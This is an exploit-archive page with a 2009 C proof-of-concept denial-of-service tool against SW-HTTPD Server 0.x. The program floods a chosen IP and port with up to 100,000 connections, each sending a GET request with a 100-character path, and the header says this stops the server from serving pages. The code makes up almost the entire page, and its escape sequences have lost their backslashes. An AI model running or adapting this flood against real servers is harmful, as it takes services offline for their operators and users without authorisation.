[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : SW-HTTPD Server 0.x Remote Denial of Service Exploit
# Published : 2009-03-19
# Author : Jonathan Salwan
# Previous Title : ModSecurity < 2.5.9 Remote Denial of Service Vulnerability
# Next Title : Chasys Media Player 1.1 (.pls) Local Buffer Overflow PoC (SEH)
/*
SW-HTTPD Server v0.x Denial of Service (PoC)
Multiple Connections with GET /A[100] HTTP/1.1
After server not found all pages.
Author: Jonathan Salwan
Mail : submit [AT] shell-storm.org
Web : http://www.shell-storm.org
*/
#include "stdio.h"
#include "unistd.h"
#include "stdlib.h"
#include "sys/types.h"
#include "sys/socket.h"
#include "netinet/in.h"
int syntax(char *file)
{
fprintf(stderr,"SW-HTTPD Server Denial of Service (PoC)n");
fprintf(stderr,"=>Syntax : <%s> <ip> <port>nn",file);
exit(0);
}
int main(int argc, char **argv)
{
if (argc < 2)
syntax(argv[0]);
int port = atoi(argv[2]);
int mysocket;
int mysocket2;
int srv_connect;
int sockaddr_long;
char hexa[100] = "x30x30x30x30x30x30x30x30x30x30"
"x30x30x30x30x30x30x30x30x30x30"
"x30x30x30x30x30x30x30x30x30x30"
"x30x30x30x30x30x30x30x30x30x30"
"x30x30x30x30x30x30x30x30x30x30"
"x30x30x30x30x30x30x30x30x30x30"
"x30x30x30x30x30x30x30x30x30x30"
"x30x30x30x30x30x30x30x30x30x30"
"x30x30x30x30x30x30x30x30x30x30"
"x30x30x30x30x30x30x30x30x30x30";
struct sockaddr_in sockaddr_mysocket;
sockaddr_long = sizeof(sockaddr_mysocket);
sockaddr_mysocket.sin_family = AF_INET;
sockaddr_mysocket.sin_addr.s_addr = inet_addr(argv[1]);
sockaddr_mysocket.sin_port = htons(port);
int i=0;
char request[118];
fprintf(stdout,"[+]SW-HTTPD Server %sn",argv[1]);
for(i=0;i<100000;i++){
mysocket2 = socket(AF_INET, SOCK_STREAM, 0);
if(mysocket2 == -1){
fprintf(stdout,"[+]Done!n");
return 1;}
srv_connect = connect(mysocket2, (struct sockaddr*)&sockaddr_mysocket, sockaddr_long);
if (srv_connect != -1)
{
sprintf(request, "GET /%s HTTP/1.1rn", hexa);
if (send(mysocket2,request,sizeof(request),0) == -1){
fprintf(stderr,"[-]Send Requesttt[FAILED]n");
shutdown(mysocket2,1);
fprintf(stdout,"[+]Done!n");
return 1;}
}
else{
fprintf(stderr,"[-]Connecttt[FAILED]n");
fprintf(stdout,"[+]Done!n");
shutdown(mysocket2,1);
return 1;}
shutdown(mysocket2,1);
}
return 0;
}
// www.Syue.com [2009-03-19]